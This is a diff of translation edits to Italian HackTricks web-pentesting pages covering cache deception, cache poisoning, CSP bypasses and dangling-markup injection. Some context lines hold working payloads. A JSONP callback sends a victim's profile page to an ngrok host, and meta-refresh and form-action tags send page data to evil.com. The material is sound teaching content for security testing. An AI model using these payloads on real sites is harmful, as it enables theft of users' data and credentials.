+Il **permesso `bookmarks`** ha un potenziale di abuso simile, questo consente **di leggere tutti i segnalibri tramite l'** [**API dei segnalibri**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
 
 ### Permesso di archiviazione <a href="#the-storage-permission" id="the-storage-permission"></a>
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

@@ -29,7 +29,7 @@ chrome.tabs.create({ url: destinationURL })
 })
 })
 ```
-Uno script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **payload XSS**. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso:
+Uno script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **XSS payload**. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso:
 ```javascript
 setTimeout(() => {
 let targetFrame = document.querySelector("iframe").src

src/pentesting-web/cache-deception/README.md

@@ -99,7 +99,7 @@ cache-poisoning-via-url-discrepancies.md
 
 [**Questo articolo spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
 
-Questo è spiegato meglio anche in:
+Questo è spiegato meglio in:
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
@@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Utilizzo di più intestazioni per sfruttare le vulnerabilità di avvelenamento della cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **Open redirect** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.
+A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.
 ```markup
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -192,7 +192,7 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter
 
 ## Cache Deception
 
-L'obiettivo della Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
+L'obiettivo del Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
 
 Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **restituendo** i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
 
@@ -209,7 +209,7 @@ Un altro esempio molto chiaro può essere trovato in questo report: [https://hac
 Nell'esempio, viene spiegato che se carichi una pagina non esistente come _http://www.example.com/home.php/non-existent.css_, il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\
 Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso prima.
 
-Nota che il **proxy di cache** dovrebbe essere **configurato** per **memorizzare** i file **basandosi** sull'**estensione** del file (_.css_) e non basandosi sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_).
+Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare** i file **basandosi** sull'**estensione** del file (_.css_) e non basandosi sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_).
 
 Scopri qui come eseguire [attacchi di Cache Deceptions abusando dell'HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
 

src/pentesting-web/cache-deception/cache-poisoning-to-dos.md

@@ -3,11 +3,11 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!CAUTION]
-> In questa pagina puoi trovare diverse variazioni per cercare di far sì che il **server web risponda con errori** a richieste che sono **valide per i server di cache**
+> In questa pagina puoi trovare diverse variazioni per cercare di far **rispondere il server web con errori** a richieste che sono **valide per i server di cache**
 
 - **HTTP Header Oversize (HHO)**
 
-Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma minore di quella supportata dal server di cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache:
+Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma inferiore a quella supportata dal server di cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache:
 ```
 GET / HTTP/1.1
 Host: redacted.com

src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md

@@ -5,16 +5,16 @@
 Questo è un riepilogo delle tecniche proposte nel post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) per eseguire attacchi di cache poisoning **abusando delle discrepanze tra i proxy di cache e i server web.**
 
 > [!NOTE]
-> L'obiettivo di questo attacco è **far credere al server di cache che una risorsa statica venga caricata** in modo che la memorizzi nella cache, mentre il server di cache memorizza come chiave di cache parte del percorso, ma il server web risponde risolvendo un altro percorso. Il server web risolverà il percorso reale che caricherà una pagina dinamica (che potrebbe contenere informazioni sensibili sull'utente, un payload malevolo come XSS o reindirizzare per caricare un file JS dal sito web dell'attaccante, ad esempio).
+> L'obiettivo di questo attacco è **far credere al server di cache che una risorsa statica venga caricata** in modo che la memorizzi nella cache mentre il server di cache memorizza come chiave di cache parte del percorso, ma il server web risponde risolvendo un altro percorso. Il server web risolverà il percorso reale che caricherà una pagina dinamica (che potrebbe contenere informazioni sensibili sull'utente, un payload malevolo come XSS o reindirizzare per caricare un file JS dal sito web dell'attaccante, ad esempio).
 
 ## Delimitatori
 
-I **delimitatori URL** variano a seconda del framework e del server, influenzando come le richieste vengono instradate e le risposte gestite. Alcuni delimitatori di origine comuni sono:
+**I delimitatori URL** variano a seconda del framework e del server, influenzando come le richieste vengono instradate e come le risposte vengono gestite. Alcuni delimitatori di origine comuni sono:
 
-- **Punto e virgola**: Usato in Spring per variabili matrice (ad es. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
+- **Punto e virgola**: Utilizzato in Spring per variabili di matrice (ad es. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
-- **Punto**: Specifica il formato di risposta in Ruby on Rails (ad es. `/MyAccount.css` → `/MyAccount`).
+- **Punto**: Specifica il formato della risposta in Ruby on Rails (ad es. `/MyAccount.css` → `/MyAccount`).
 - **Byte nullo**: Trunca i percorsi in OpenLiteSpeed (ad es. `/MyAccount%00aaa` → `/MyAccount`).
-- **Byte di nuova linea**: Separa i componenti URL in Nginx (ad es. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
+- **Byte di nuova riga**: Separa i componenti URL in Nginx (ad es. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
 
 Altri delimitatori specifici potrebbero essere trovati seguendo questo processo:
 
@@ -22,7 +22,7 @@ Altri delimitatori specifici potrebbero essere trovati seguendo questo processo:
 - **Passo 2**: Aggiungere suffissi casuali ai percorsi e confrontare la risposta del server per determinare se un carattere funge da delimitatore.
 - **Passo 3**: Introdurre potenziali delimitatori prima del suffisso casuale per vedere se la risposta cambia, indicando l'uso del delimitatore.
 
-## Normalizzazione & Codifiche
+## Normalizzazione e codifiche
 
 - **Scopo**: I parser URL sia nei server di cache che in quelli di origine normalizzano gli URL per estrarre percorsi per il mapping degli endpoint e le chiavi di cache.
 - **Processo**: Identifica i delimitatori di percorso, estrae e normalizza il percorso decodificando i caratteri e rimuovendo i segmenti di punto.
@@ -35,7 +35,7 @@ Un modo per controllare queste incoerenze è inviare richieste URL codificando c
 
 ### Segmento punto
 
-La normalizzazione del percorso in cui sono coinvolti i punti è anche molto interessante per gli attacchi di cache poisoning. Ad esempio, `/static/../home/index` o `/aaa..\home/index`, alcuni server di cache memorizzeranno questi percorsi con se stessi come chiavi, mentre altri potrebbero risolvere il percorso e utilizzare `/home/index` come chiave di cache.\
+La normalizzazione del percorso in cui sono coinvolti i punti è anche molto interessante per gli attacchi di cache poisoning. Ad esempio, `/static/../home/index` o `/aaa..\home/index`, alcuni server di cache memorizzeranno questi percorsi con se stessi come chiavi mentre altri potrebbero risolvere il percorso e utilizzare `/home/index` come chiave di cache.\
 Proprio come prima, inviare questo tipo di richieste e controllare se la risposta è stata raccolta dalla cache aiuta a identificare se la risposta a `/home/index` è la risposta inviata quando quei percorsi vengono richiesti.
 
 ## Risorse statiche
@@ -43,7 +43,7 @@ Proprio come prima, inviare questo tipo di richieste e controllare se la rispost
 Diversi server di cache memorizzeranno sempre una risposta se viene identificata come statica. Questo potrebbe essere dovuto a:
 
 - **L'estensione**: Cloudflare memorizzerà sempre nella cache i file con le seguenti estensioni: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
-- È possibile forzare una cache che memorizza una risposta dinamica utilizzando un delimitatore e un'estensione statica come una richiesta a `/home$image.png` che memorizzerà nella cache `/home$image.png` e il server di origine risponderà con `/home`
+- È possibile forzare una cache che memorizza una risposta dinamica utilizzando un delimitatore e un'estensione statica come una richiesta a `/home$image.png` memorizzerà nella cache `/home$image.png` e il server di origine risponderà con `/home`
 - **Directory statiche ben note**: Le seguenti directory contengono file statici e quindi la loro risposta dovrebbe essere memorizzata nella cache: /static, /assets, /wp-content, /media, /templates, /public, /shared
 - È possibile forzare una cache che memorizza una risposta dinamica utilizzando un delimitatore, una directory statica e punti come: `/home/..%2fstatic/something` memorizzerà nella cache `/static/something` e la risposta sarà `/home`
 - **Directory statiche + punti**: Una richiesta a `/static/..%2Fhome` o a `/static/..%5Chome` potrebbe essere memorizzata nella cache così com'è, ma la risposta potrebbe essere `/home`

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -4,9 +4,9 @@
 
 ## Cos'è CSP
 
-La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
+Content Security Policy (CSP) è riconosciuto come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
 
-L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
+L'implementazione di CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
 
 - Implementato tramite header di risposta:
 ```
@@ -88,8 +88,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 </details>
 
-- `'sha256-<hash>'`: Consente solo script con un hash sha256 specifico.
+- `'sha256-<hash>'`: Aggiunge alla whitelist gli script con un hash sha256 specifico.
-- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato autorizzato da un nonce o hash.
+- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato aggiunto alla whitelist tramite un nonce o un hash.
 - `'host'`: Specifica un host specifico, come `example.com`.
 - `https:`: Limita gli URL a quelli che utilizzano HTTPS.
 - `blob:`: Consente il caricamento di risorse da URL Blob (ad es., URL Blob creati tramite JavaScript).
@@ -115,7 +115,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 
 ### 'unsafe-eval'
 
-> [!ATTENZIONE]
+> [!CAUTION]
 > Questo non funziona, per maggiori informazioni [**controlla questo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
@@ -161,13 +161,13 @@ Payload funzionante:
 ```
 Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
 
-Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
+Inoltre, anche se potessi caricare un **codice JS all'interno** di un file con un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
 
 Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
-Se non è possibile iniettare JS, potresti comunque provare a esfiltrare ad esempio credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
+Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
 
 ### Endpoint di terze parti + ('unsafe-eval')
 
@@ -284,13 +284,13 @@ Scenari come questo in cui `script-src` è impostato su `self` e un dominio part
 https://www.youtube.com/oembed?callback=alert;
 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare CSP di diversi siti web.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.**
 
 La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.
 
 ### Abusi di Terze Parti
 
-Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nel CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
+Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
 
 | Entità            | Dominio Consentito                           | Capacità     |
 | ----------------- | -------------------------------------------- | ------------ |
@@ -303,9 +303,9 @@ Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-th
 | Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 
-Se trovi uno dei domini consentiti nel CSP del tuo obiettivo, è probabile che tu possa bypassare il CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
+Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
 
-Ad esempio, se trovi il seguente CSP:
+Ad esempio, se trovi la seguente CSP:
 ```
 Content-Security-Policy​: default-src 'self’ www.facebook.com;​
 ```
@@ -345,7 +345,7 @@ Questo funziona perché per il browser stai caricando un file chiamato `..%2fang
 
 ∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
 
-**Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**.
+Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**.
 
 La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
 
@@ -368,7 +368,7 @@ Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella
 ```
 ### AngularJS eventi
 
-Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere il CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox.
+Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox.
 
 Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
 ```xml
@@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 Se il CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati dal CSP.
 
-Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso.
+Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso.
 
 Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.
 
@@ -450,7 +450,7 @@ Potresti anche abusare di questa configurazione per **caricare codice javascript
 
 ### Con i Service Workers
 
-La funzione **`importScripts`** dei service workers non è limitata dalla CSP:
+La funzione **`importScripts`** dei service workers non è limitata dal CSP:
 
 {{#ref}}
 ../xss-cross-site-scripting/abusing-service-workers.md
@@ -478,9 +478,9 @@ Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
 ### img-src \*; via XSS (iframe) - Attacco temporale
 
 Nota l'assenza della direttiva `'unsafe-inline'`\
-Questa volta puoi far **caricare** una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
+Questa volta puoi far **caricare** una pagina sotto il **tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
 
-Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione sleep. Poi, sarai in grado di estrarre la flag:
+Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre la flag:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
 In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
-La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**:
+La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@@ -583,15 +583,15 @@ document.querySelector("DIV").innerHTML =
 - Questo URL poi reindirizza a un URL segreto (ad esempio, `https://usersecret.example2.com`) che **non è consentito** da CSP.
 - Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
 
-È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.
+È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a potenziali perdite di informazioni sensibili a causa di comportamenti non definiti.
 
-Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere configurato per facilitare questo metodo:
+Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere impostato per facilitare questo metodo:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo dei possibili caratteri nel sottodominio segreto, rivelando infine l'URL completo.
+Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo ai possibili caratteri nel sottodominio segreto, rivelando infine l'URL completo.
 
-Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leakare informazioni sensibili.
+Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leak informazioni sensibili.
 
 Trick da [**qui**](https://ctftime.org/writeup/29310).
 
@@ -599,7 +599,7 @@ Trick da [**qui**](https://ctftime.org/writeup/29310).
 
 ### Errori PHP quando ci sono troppi parametri
 
-Secondo la [**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
+Secondo l'[**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
 
 ### Sovraccarico del buffer di risposta PHP
 
@@ -649,7 +649,7 @@ Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, n
 ```
 ### DNS Prefetch
 
-Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno per un uso successivo.\
+Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno nella cache per un uso successivo.\
 Puoi indicare a un browser di pre-risolvere un nome host con: `<link rel="dns-prefetch" href="something.com">`
 
 Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**:

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -4,7 +4,7 @@
 
 ## Resume
 
-Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**iniezione HTML**. Questo è molto utile se **non trovi alcun modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/)ma puoi **iniettare alcuni tag HTML**.\
+Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**iniezione HTML**. Questo è molto utile se **non trovi alcun modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/) ma puoi **iniettare alcuni tag HTML**.\
 È anche utile se qualche **segreto è salvato in chiaro** nell'HTML e vuoi **esfiltrarlo** dal client, o se vuoi fuorviare l'esecuzione di qualche script.
 
 Diverse tecniche commentate qui possono essere utilizzate per bypassare alcune [**Content Security Policy**](../content-security-policy-csp-bypass/) esfiltrando informazioni in modi inaspettati (tag html, CSS, tag meta http, moduli, base...).
@@ -21,7 +21,7 @@ Se il tag `img` è vietato (a causa di CSP per esempio) puoi anche usare `<meta
 <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
 <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
 ```
-Nota che **Chrome blocca gli URL HTTP** con "<" o "\n" in essi, quindi puoi provare altri schemi di protocollo come "ftp".
+Nota che **Chrome blocca gli URL HTTP** con "<" o "\n" in essi, quindi potresti provare altri schemi di protocollo come "ftp".
 
 Puoi anche abusare di CSS `@import` (invierà tutto il codice fino a trovare un ";")
 ```html
@@ -45,7 +45,7 @@ Quindi, i moduli che inviano dati al percorso (come `<form action='update_profil
 
 ### Furto di moduli 2
 
-Imposta un'intestazione del modulo: `<form action='http://evil.com/log_steal'>` questo sovrascriverà l'intestazione del modulo successivo e tutti i dati del modulo verranno inviati all'attaccante.
+Imposta un'intestazione del modulo: `<form action='http://evil.com/log_steal'>` questo sovrascriverà l'intestazione del modulo successivo e tutti i dati del modulo saranno inviati all'attaccante.
 
 ### Furto di moduli 3
 
@@ -65,7 +65,7 @@ Utilizzando la tecnica menzionata in precedenza per rubare i moduli (iniettando
 ```html
 <input type='hidden' name='review_body' value="
 ```
-e questo campo di input conterrà tutto il contenuto tra le sue virgolette e la successiva virgoletta nel HTML. Questo attacco mescola "_**Rubare segreti in chiaro**_" con "_**Rubare forms2**_".
